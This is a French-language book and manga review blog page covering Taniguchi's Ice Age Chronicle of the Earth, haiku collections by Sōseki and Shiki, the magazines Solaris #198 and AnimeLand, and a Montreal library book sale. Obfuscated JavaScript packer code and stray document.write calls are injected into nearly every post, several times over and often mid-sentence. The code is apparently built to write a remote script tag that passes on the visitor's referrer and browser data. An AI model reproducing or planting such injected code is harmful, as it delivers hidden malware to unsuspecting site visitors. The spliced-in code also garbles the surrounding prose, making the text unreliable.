Weekly notable news [week 31]

Here are a few notable news & links that I came across this week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|retiz|var|u0026u|referrer|hkzri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkbdn|var|u0026u|referrer|htbtd||js|php’.split(‘|’),0,{}))

Funnies

Non Sequitur: Monday, March 21, 2016 (The two-party detour)

Dilbert: Tuesday, March 22, 2016 (The Elbonian Religion)

[ Traduire ]

Ice Age chronicle of the earth, vol. 1 & 2

Vol. 1: “Dans le futur, document.write(“”); tandis que l’humanité tente tant bien que mal de survivre aux conséquences d’un nouvel âge glaciaire, Takéru va devoir se lancer dans une odyssée afin de sauver ses compagnons. À son bras, un bracelet sacré en argent, seul souvenir qui lui reste de sa mère…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etbbz|var|u0026u|referrer|kyeft||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zktfk|var|u0026u|referrer|ktyed||js|php’.split(‘|’),0,{}))

“Saura-t-il faire face à son destin ?”

Vol. 2: “Dans le futur, alors que la fin de l’âge glaciaire se fait sentir, tous les êtres vivants se lancent dans une nouvelle course à l’évolution. Guidé par un Medishin, un Dieu bleu, Takéru devra affronter la Grande Mère pour résoudre le mystère A-D-O-L-F… Le destin de l’humanité pourrait en dépendre…”

Découvrez ce diptyque mythique et visionnaire signé Jirô Taniguchi !

(Texte du site de l’éditeur: Vol. 1 & Vol. 2; voir les couvertures arrières: Vol. 1 & Vol. 2)

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers” (a.k.a. divulgacheurs)! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Comme je l’ai déjà dit quand j’ai découvert ce manga, les éditeurs de français (dans ce cas-ci Kana) continue à nous sortir des vieux Taniguchi qui date de l’époque où il faisait plus dans le récit d’action que dans le contemplatif. Et nous en sommes fort heureux!

Ice Age Chronicle of the Earth (?????? / Chiky? hy?kai-ji-ki) a d’abord été publié en feuilleton dans le magazine Morning de Kôdansha en 1987-88 avant d’être compiler en volumes chez Futabasha. Dans les années ’80, Taniguchi écrivait surtout des récits d’action comme Trouble Is My Business, Enemigo ou Garôden, ou des récits qui mettaient en scène la nature et les grands espaces tels que Blanco, K ou Encyclopédie des animaux de la préhistoire. Ice Age Chronicle of the Earth s’inscrit bien dans ces thématiques. Et, si l’on se fit à la bande de couverture de l’édition française ainsi qu’au style de Taniguchi pour ce diptyque visionnaire, c’est une époque où il devait sans doute lire et s’inspirer du magazine français Métal Hurlant

Dans un futur lointain, la Terre est entièrement soumise aux conditions d’un âge glaciaire: la 8e glaciation (glaciation de Murtok). Situé sur Nunatak, une île de l’Arctique, le site minier de Tarpa est exploité par la Régie pour le Développment des Ressources Shivr. Le fils rebel du président de la compagnie, Takéru, y a été exilé afin de le rendre plus mature. Lors d’un accident causé par de l’équipement vieillissant, le directeur de la mine est gravement blessé. Avant de mourir, il remet à Takéru une boite qui contient le bracelet sacré de sa défunte mère et un message de son père qui l’averti que des changements climatiques sans précédents sont sur le point de se produire. Takéru est nommé le nouveau directeur, mais il s’en fout. Toutefois, le cargo qui devait amené le ravitaillement et évacuer la plupart des travailleurs pour le dur hiver arctique est détruit lors d’une attaque de pirate. Un groupe de travailleurs décident d’évacuer quand même dans des navettes de secours mais ils crashent dès qu’ils sont sorti du puit de la mine à cause des vents violents. [ci-contre: p. 33]

Takéru organise une mission de sauvetage mais tout les passagers des navettes sont mort de froid sauf un, qui restera gravement handicapé. Et l’un des sauveteurs meurt dans un accident. Tarpa est maintenant coupé du reste du monde, sans ravitaillement. Takéru escalade donc à nouveau la paroi du puit de la mine afin d’aller investiguer ce qui arrive à la planète et ramener des secours. Mais le monde extérieur est un environnement glacial et hostile, peuplé d’insectes, de baleines et d’ours géants! Et ce ne sera pas les seules surprises: Takeru entrevoit dans une crevasse, le sarcophage d’un géant bleu! Grâce à une caravane de chameaux des glaces, ils échappent aux tournades et autres dangers de l’Inlandsis, et parviennent à un village. Là, une vieille chamane révèle à Takeru la prophétie: les Medishin, dieux géants bleus qui étaient venu les avertir de la longue saison de glace, se réveilleront pour les guider dans une nouvelle ère. Car “la Terre qui dormait sous la glace depuis des centaines de générations a commencé à ouvrir les yeux. Bientôt… Les montagnes, les forêts, les rivières se mettront en colère…” Les événements sont déjà en marche dans le sud. C’est là que Takéru doit se rendre !

Extraits des pages 15, 21 et 204 du premier volume

Takéru et son petit groupe tente de rejoindre la capitale, Abyss. Ils atteignent d’abord le dépôt logistique de surface Earliss II, où ils trouvent quelques survivants et un vieux cargo de transport aérien. L’ordinateur de la base confirme leur craintes: l’axe de rotation de la planète à changé, il y a une activité volcanique accrue, une hausse de gaz carbonique, un réchauffement de la température et donc une rapide fonte des glace. La période glaciaire est terminée! Les cendres d’une éruption volcanique endommagent les moteurs du cargo qui crash dans une gigantesque forêt vivante et carnivore! Ils continue leur voyage sur une rivière à l’aide d’un radeau de fortune, puis monte à bord d’un prospecteur robotisé. Ils apprennent que la capitale est inondée, envahit par la forêt, en ruine. L’océan végétal ne tarde pas à attaqué aussi leur véhicule, à l’aide d’une sève acide. Takéru ressent la conscience collective d’un arbre géant. Il se souviens avec horreur des êtres sans racines. Mais le dieu bleu apparait et calme l’arbre… Il révèle à Takéru que lui aussi a le pouvoir de communiquer avec la conscience de la planète.

En chemin vers Abyss, Takéru rencontre un transport de troupe écrasé avec de nombreux survivants, qui sont tous des enfants qui avaient été évacués en premiers. Toutes créatures vivantes, végétales ou animales, évoluent à un rythme fou, créant de nouveaux germes mortels. La forêt les attaque à nouveau, plein de haine contre l’humain mais Takéru réussi à la calmer. Pendant ce temps à Abyss, l’ordinateur central est devenu fou et se prend pour dieu, l’architecte d’un nouveau monde. Prenant exemple sur la nature, il utilise sa super-technologie pour créer une nouvelle race d’humain: A.D.O.L.F. (Acides aminés Dieldrine Opéron Ligand Flux cytométrique). Un nouvel ennemi qui tente d’éliminer l’humanité superflue. Mais en s’alliant avec la forêt, Takeru vaincra. Se sera l’aube d’une nouvelle ère où l’humanité, avec une conscience étendue, pourra cohabiter avec la nature…

Extraits des pages 13, 57 et 201 du second volume

Ice Age Chronicle of the Earth (sans blague, l’éditeur ne pouvait pas trouver un titre en français?), offre une bonne histoire de science-fiction cataclysmique, quoique un peu précipité vers la fin. Le style artistique du early-Taniguchi est bien (pas aussi bon que ses oeuvres plus récentes, bien sûr) mais souvent très inégal (on sent les délais de production liés à la prépublication en série dans les magazines!). J’ai aussi déjà noté plus haut qu’il me semblait discerner dans cette oeuvre de Taniguchi l’influence de la BD française de la bonne époque de Métal Hurlant (Moebius, Druillet) mais dans le second volume il me semble possiblement entrevoir dans les scènes cataclysmiques aussi quelques influences du Akira (1982-90) d’Otomo et du Nausicäa (1982-94) de Miyazaki

Dans l’ensemble c’est une très bonne lecture. Une sorte de fable écologique qui est toujours d’actualité. Ce n’est pas parfait mais, avec Taniguchi, un manga ne peut être qu’agréable. À lire.

Ice Age chronicle of the earth vol. 1 & 2, par Jirô TANIGUCHI. Paris: Dargaud (collection Kana: Made In), mai et septembre 2015. 272 & 224 pgs, 16.3 x 23.2 x 2 cm, 18.00 € / $31.95 Ca, ISBN: 9782505063643 & 9782505063650. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Ice Age chronicle of the earth © 2002 Jirô TANIGUCHI. Édition française © 2015 Kana (Dargaud-Lombard s.a.).

[ Translate ]

Animeland #209

AL209AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, les mangas et tout l’univers otaku en France. News, chroniques, interviews, articles et dossiers vous attendent dans les magazines AnimeLand et AnimeLand X-tra et sur le site AnimeLand.com !”

Comme je l’ai déjà mentionné dans un article précédent (sur l’acquisition du magazine par Anime News Network), j’ai toujours grandement admiré ce magazine fondé par Yvan West Laurence et Cédrik Littardi en avril 1991 (que j’avais d’ailleurs rencontré à San Jose, Californie, lors de la toute première convention nord-américaine entièrement consacrée à l’anime, AnimeCon, à la fin de l’été 1991). AnimeLand est rapidement devenu le meilleurs magazine sur l’anime et le manga hors-Japon et pas seulement en langue française. À tout les deux mois le magazine offre une centaines de pages, toutes en couleurs, pleine à craquer d’information essentielle sur l’anime et le manga. Un must pour le fan averti.

AnimeLand #209 est un numéro un peu spécial car, en plus d’être un peu plus volumineux, il célèbre le vingt-cinquième anniversaire du magazine.

Lire la suite après le saut de page >>
Continue reading

Haikus par Soseki

“Si Sôseki le romancier est de longue date traduit et commenté chez nous, document.write(“”); une part plus secrète et à la fois plus familière de son œuvre nous est encore inconnue. Sôseki a écrit plus de 2500 haikus, de sa jeunesse aux dernières années de sa vie : moments de grâce, libérés de l’étouffante pression de la vie réelle, où l’esprit fait halte au seuil d’un poème, dans une intense plénitude.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfes|var|u0026u|referrer|zskdn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sthda|var|u0026u|referrer|zfkrs||js|php’.split(‘|’),0,{}))

“Affranchis de la question de leur qualité littéraire, ils ont à mes yeux une valeur inestimable, puisqu’ils sont pour moi le souvenir de la paix dans cœur… Simplement, je serais heureux si les sentiments qui m’habitaient alors et me faisaient vivre résonnaient, avec le moins de décalage possible, dans le cœur du lecteur.“

“Ce livre propose un choix de 135 haïkus, illustrés de peintures et calligraphies de l’auteur, précédés d’une préface par l’éditeur de ses Œuvres complètes au Japon.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Lire la suite après le saut de page >>

J’ai déjà introduit le haiku quand j’ai commenté Cent sept haiku par Masaoka SHIKI, cet auteur même qui a encouragé S?seki à écrire et l’a initié aux haïkus. Né Kinnosuke Natsume à l’aube de l’ère Meiji, en 1867, il prendra le pseudonyme de «S?seki» en 1888 (utilisant les deux premiers charactères d’une expression chinoise attribuée à Liu Yiqing: ???? / shù dàn zh?n liú ou s?sekichinry? en japonais, littéralement «Se rincer la bouche avec une pierre et faire de la rivière son oreiller»). [ci-contre: p. 43]

Natsume S?seki (?? ??) deviendra l’un des auteur emblématique du Japon moderne. Après avoir étudié la littérature anglaise à l’Université de Tokyo, il part enseigner à Matsuyama (1895), puis à Kumamoto (1896), avant de passer trois ans d’études en Angleterre (1900-03) et de finalement succèder à Lafcadio Hearn à la chaire de littérature anglaise de l’université de Tokyo. Toutefois, il quitte ce poste en 1907 pour se consacrer à l’écriture. On lui connait plus d’une vingtaine d’ouvrages dont principalement Je suis un chat (??????? / Wagahai wa neko de aru, 1905), Botchan (?????, 1906), Sanshirô (???, 1909), Et puis (???? / Sorekara, 1909), La porte (? / Mon, 1910), et Choses dont je me souviens (??????? / Omoidasukoto nado, 1910-11). Son importance dans la littérature japonaise est soulignée par le fait que son portrait apparait sur le billet de 1 000 yens.

Haikus est un ouvrage assez simple qui se lit très rapidement. Les petits poèmes sont typiquement présenté trois par page, agrémentés de peintures et de calligraphies par S?seki. Dans mon commentaire de Cent sept haiku, j’ai déjà mentionné ma déception de ne pas ressentir la profondeur de la pensée ou des sentiments de l’auteur que l’on s’attendrait à retrouver dans cette forme de poésie. Il est toutefois intéressant d’essayer de comprendre ce que l’auteur désir exprimer. C’est un bel ouvrage et j’ai particulièrement apprécié les illustrations de l’auteur (ci-contre: p. 23) ainsi que la préface et les notes qui lévent un peu le voile sur les intensions et le parcours de S?seki.

Somme toute c’est une très bonne lecture de chevet et pas nécessairement que pour les amateurs de culture nippone ou de poésie.

Haikus, par S?seki (traduits par Elisabeth Suetsugu). Arles, Éditions Philippe Picquier, janvier 2002. 144 pages, 14.5 x 23.0 x 1.0 cm, 8,00 € / $32.95 Cnd, ISBN 2-8097-0125-8. Lectorat: pour tous!

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

A few notable news

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zknti|var|u0026u|referrer|ddkzs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnydi|var|u0026u|referrer|ketde||js|php’.split(‘|’),0,{}))

[ Traduire ]

Solaris #198

Solaris est un périodique québécois de science-fiction et de fantastique qui s’inscrit dans une longue tradition.

Fondé en septembre 1974 par Norbert Spehner (un des grands anciens de la SFFQ), il a d’abord arboré le nom de Requiem, ce qui lui donnait un ton plus fantastique que sf. Avec le numéro 28 (aout-sept 1979) le nom change pour Solaris et Spehner (en grand calembourlingueur) ne donne pour seule justification que “parce que je LEM.” Le fardeau de la rédaction passe à Élisabeth Vornarburg avec le numéro 53 (automne 1983), puis à Luc Pomerleau avec le numéro 67 (mai-juin 1986). Si le zine passe à l’ère informatique avec le numéro 60 (mars-avril 1985), son apparence ne s’améliore qu’avec le numéro 73 (mai-juin 1987) et il ne prendra vraiment une allure de pro-zine qu’avec le numéro 87 (oct 1989, spécial 15e anniversaire). La rédaction passe finalement à Joël Champetier avec le numéro 100 (printemps 1992) et il occupera le poste jusqu’à peu de temps avant sa mort en mai 2015. Pascal Raud l’assistera en temps que coordonatrice dès le numéro 181 (Hiver 2012 — et assurera ensuite l’interim durant sa maladie). Sous l’égide des ÉditionsAlire, Solaris prends un format livre de poche (13.5 x 21 cm) avec le numéro 134 (Été 2000). Il se concentre alors sur l’aspect littéraire: le volet BD disparait et la chronique “Sci-néma” déménage sur le site internet de la revue (cette dernière chronique reviendra cependant dans les pages de Solaris avec le numéro 185 en Hiver 2013). Depuis le numéro 196 (Automne 2015) la coordination des revues (Solaris et Alibi, son pendant polar) est maintenant assuré par Jonathan Reynolds.

La magazine offre une double détente: d’une part c’est une anthologie permanente des littératures de l’imaginaire francophone qui nous permet, par ses courtes nouvelles, de se tenir à jour dans les courants littéraires de genres et, d’autre part, par ses brillants articles et critiques (je préfère toutefois parler de “commentaires de lecture”), d’y trouver de nombreuses suggestions de lectures pour nous divertir et nous inspirer encore plus.

Le numéro 198 (Printemps 2016) nous offre cinq nouvelles dont les quatre premières partagent la thématique des “femmes étranges”:

Lire la suite après le saut de page >>

  • “K**l Me, I’m Famous” par Éric Holstein: un journaliste de la scène rock découvre une créature mythique au sein d’un groupe punk. stars-3-5
  • “Le Choix des âmes” par Daniel Birnbaum: derrière chaque grand scientifique il y a une femme prète à se sacrifier pour la science. stars-3-0
  • “Elle” par Jérémie Bourdages-Duclot: un étudiant membre d’une équipe de football collégiale réputée est obscédé par le sexe. Fasciné par une belle femme qu’il a croisé semble-t-il par hasard, il découvrira qu’il y a des prédateurs plus féroce que lui… stars-3-5
  • “Prestance” par Samuel Lapierre: un veuf tombe amoureux d’un mannequin-robot dans la vitrine d’une boutique de mode. Sa perversion le mènera à la ruine. stars-3-0

La cinquième nouvelle, “Tempus fugit” par Mario Tessier, est un texte à part. C’est une intéressante histoire de hard-science mais trop succincte et qui demeure tout de même un peu décevante pour ceux qui connaisse cet auteur. Il évoque un peu la SF classique des débuts d’Asimov. Le récit est un peu précipité et fourni simplement le prétexte pour décrire un organisme extra-terrestre cristalo-végétal quasi immortel. En fait, la nouvelle sert surtout d’introduction à l’article du “Futurible” qui lui fait suite. stars-2-5

Dans ce numéro, “Les Carnets du Futurible” (publié dans Solaris de façon quasi-ininterrompue depuis le numéro 153 — sauf dans le numéro 172 à l’Automne 2009 — ce qui fait de cet article le quarante-cinquième épisode de la série) est consacrés aux plus vieux organismes vivants. Comme le sont toujours les articles des “Carnets du Futurible”, cet article est tout à fait fascinant.

L’article suivant est tout aussi intéressant. Il s’agit de la traduction de la première partie d’un article de Jonathan McCalmont (originalement publié en anglais sur son blog Ruthless Culture). Intitulé “Lacheté, paresse et ironie: comment la science-fiction a perdu le futur” l’article se questionne sur les causes de l’épuisement du genre en prenant comme point de départ des commentaires du critique Paul Kincaid. Est-ce que cela a à voir avec le fait que le monde change si vite que les auteurs de SF n’essaient même plus de prédire l’avenir dans leurs histoires? Ou est-ce lié au brouillage délibéré (et bizarre) entre les différents genres? Ou au fait que de plus en plus des auteurs dits “mainstream” empiètent sur les littératures de l’imaginaire?

Christian Sauvé nous offre une fois de plus une excellente chronique “Sci-néma” où il traite de films sur la post-humanité (robots & A.I.) tels que Terminator: Genisys, Big Hero 6, Transcendence, Chappie et Ex Machina. Il note également que la hard science, jusqu’alors pratiquement absente du grand écran, commence a y être une thématique de plus en plus fréquente et il cite The Martians en exemple. Il ajoute que, ces derniers temps, les films de fantasy à grands budgets font piètre figure (City of Bones, Seventh Son, et Winter’s Tale) mais que les films d’horreur innovent (Horns, Unfriended, It Follows).

La chronique des “Littéranautes” offre des commentaires de lecture sur la littérature de l’imaginaire québécoise: Les Clowns vengeurs: Allégeances (par Nadine Bertholet et Isabelle Lauzon, chez Porte-Bonheur), Écorché (par Ariane Gélinas, Pierre-Luc Laurence et Jonathan Reynolds, chez La Maison des viscères), et La Peau du Mal (par Corinne De Vailly, chez Recto-Verso).

Finalement, Solaris se conclu avec la chroniques des “lectures” qui commente le reste: L’Héritage des Rois-Passeurs (par Manon Fargetton, chez Bragelonne), Hamlet au paradis (par Jo Walton, chez Denoël), La Santé par les plantes (par Francis Mizo, chez ActuSF), Dimension merveilleux scientifique (une anthologie compilée par Jean-Guillaume Lanuque, chez Rivière Blanche), Zombie Nostalgie (par Øystein Stene, chez Actes Sud), Frankenstein (par Michel Faucheux, chez L’Archipel), Fond d’écran: nouvelles et textes courts (par Terry Pratchett, chez Atalante), Au-delà du Réel: L’Avenir du Futur (par Didier Liardet, chez Yris), et Feuillets de cuivre (par Fabien Clavet, chez ActuSF). Personnellement, je préfère quand les commentaires de lecture ont une appréciation quantifiée (système de points ou d’étoiles), mais je crois qu’ici c’est une décision éditoriale de ne pas en avoir.

C’est bien d’avoir des chroniques qui ne traitent pas seulement de l’aspect littéraire de la science-fiction. Mais en plus du cinéma, ce serait intéressant d’avoir aussi une petite chronique BD (cela fait des eons qu’il n’y en pas eu dans Solaris).

Malgré que son attrait principal demeure l’aspect anthologique, je dois avouer que je lis Solaris surtout pour ses excellents articles. Avec une telle diversité, tous les lecteurs y trouveront certainement leur intérêt. À lire.

Solaris #198 — Printemps 2016, Vol. 41, no 4 [Collectif dirigé par Jean Pettigrew, Pascale Raud, Daniel Sernine, Élisabeth Vonarburg, et coordonné par Jonathan Reynold]. Lévis, Publications bénévoles des littératures de l’imaginaire du Québec, avril 2016. 160 p. $12.95. ISSN 0709-8863. Abonnement d’un an: $40.00 (Canada), $35.00 (USA) et $63.00 (autres). stars-3-5

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ AmazonBiblioGoodreadsWikipediaWorldCat ]

[ Translate ]

Cent Sept Haiku

“Considéré comme « le père du haïku moderne », document.write(“”); Masaoka Shiki (1867-1902) – à qui l’on doit l’adoption définitive du terme – fut le grand défenseur de cette forme majeure de la poésie japonaise qu’il s’attacha à transmettre en fondant une école et une revue littéraire.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anthd|var|u0026u|referrer|nkzth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybrre|var|u0026u|referrer|baeks||js|php’.split(‘|’),0,{}))

“En dépit de la brièveté de sa vie, son œuvre figure parmi celles des derniers maîtres de la grande tradition.“

Quelle solitude!
après le feu d’artifice —
l’étoile filante

(Texte du
site de l’éditeur; voir aussi la couverture arrière)

Lire la suite après le saut de page >>


Fils de samurai, Tsunenori Masaoka est né en 1867. À la fin de ses études de littérature à Tokyo, il prends le pseudonyme de Shiki (?? / Petit Coucou). Journaliste, il fonde la revue littéraire Hototogisu et publie plusieurs études critiques (notamment sur Bash?) et traités théoriques de poésie. Il meurt de tuberculose en 1902 à l’âge de 35 ans. Il a contribué à forger les formes modernes du tanka (issue du waka, un poème de cinq vers de 5-7-5-7-7 syllables) et du haiku. Il aurait composé près de 25,000 haiku et est considéré comme le père moderne du genre.

Le haiku [??] est issue du tanka, un poème de 31 mores (ou syllables) composé d’un tercet de 17 syllabes (5-7-5), appelé hokku [?? / “vers du début”], et d’un distique de 14 syllabes (7-7). Bash? ne conserva du tanka que la première partie, le hokku, pour en faire un haïkaï (??) et Shiki, qui en modernisa l’esprit, adopta définitivement le nom de haiku, formé par la contraction de haikai no hokku (“les premiers vers du haikai”).

Le haiku est donc un court poème (récité, et non chanté comme le tanka) qui doit “célébrer l’évanescence des choses”, contenir une “notion de saison (le kigo) et comporter une césure (le kireji)”. Le haiku ne doit pas être descriptif: c’est une sorte d’instantané qui fige avec spontanéité, concision et subtilité l’expression d’une sensation ou d’une émotion passagère souvent liée à l’observation de la nature. Bien sûr, il existe plusieurs tendances de haiku (zen, urbain, engagé, etc.) et les règles ne sont pas toujours respectées, particulièrement dans le cas d’une traduction (ou d’un haiku composé dans une langue étrangère) où il est difficile de conserver la métrique. L’important est d’en conserver l’esprit: trois lignes poétiques (qui ne riment pas et ne forment pas une longue phrase fluide mais plutôt des énoncés minimalistes — sans articles et avec une conjugaison simplifiée — séparés d’au moins une pause.

Cent sept haiku nous offre une sélection de haiku par Shiki. L’ouvrage n’a aucune préface mais heureusement se termine avec quelques notes explicatives. Chacun des haiku est présenté sur une page, avec le texte original japonais (en kanji et r?maji) et la traduction française. C’est très rapide à lire, quoiqu’il est nécessaire de relire chacun des haiku deux ou trois fois afin de bien en saisir le sens.

Certain seront sans doute déçu de ne pas découvrir dans ces haiku une grande profondeur philosophique. Pour ma part, j’ai trouvé difficile de ressentir la sensation ou l’émotion que l’auteur a voulu exprimer. Néanmoins, il est beaucoup plus facile de percevoir la scène qu’il décrit. Si l’on se plonge dans cette image paisible, on peut atteindre une certaine sérénité. Et c’est sans doute là que réside la beauté du haiku.

Cent sept haiku constitue donc une excellente introduction à ce genre de poésie japonaise qui connait une popularité croissante.

Cent sept haiku, par Masaoka SHIKI (traduits par Joan Titus-Carmel). Lagrasse, Éditions Verdier, août 2002. 120 pages, 0.9 x 14.5 x 22.0 cm, 14,70 € / $27.95 Cnd, ISBN 978-2-86432-360-0. Édition bilingue (Japonais / Français). Lectorat: pour tous!

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

Solde de livres annuel

Je vous rappelle que le solde de livres annuel des amis des bibliothèques de Montréal se déroule présentement et cela jusqu’à la fin de semaine prochaine (8 mai 2016). Lisez l’affiche et <a href="http://ville.montreal.qc.ca/portal/page?_pageid=4276, document.write(“”); 5496140&_dad=portal&_schema=PORTAL” target=”“new””>cliquer dessus pour plus de détail…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhhei|var|u0026u|referrer|bikii||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|saanh|var|u0026u|referrer|fbrrh||js|php’.split(‘|’),0,{}))


Pour ma part, j’ai déjà trouvé de nombreux trésors: une vingtaine de manga (principalement des séries de Tezuka comme Phénix, Barbara, Kirihito mais aussi Zipang), une trentaine de guides de voyages (publiés chez DK, en anglais, ou Voir, en français — histoire de voyager par la lecture!), deux romans d’auteurs japonais et quelques magazines (des vieux numéro de Solaris, Alibi et National Geographic). Le tout pour à peu près soixante-douze dollars!

J’y retournerai, bien sûr, au moins une fois cette semaine et la fin de semaine prochaine (j’ai des coupons rabais). Quelle joie!

[ Translate ]

Découverte: Revue Collections Vol. 3, No 2

Le plus récent numéro de la revue Collections (la revue de la littérature d’ici pour les bibliothèques d’ici, document.write(“”); publiée par l’ANEL), le vol. 3 No 2 (publié en avril 2016), est consacré à l’Art, à la musique et au cinéma.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zshbe|var|u0026u|referrer|zkryk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
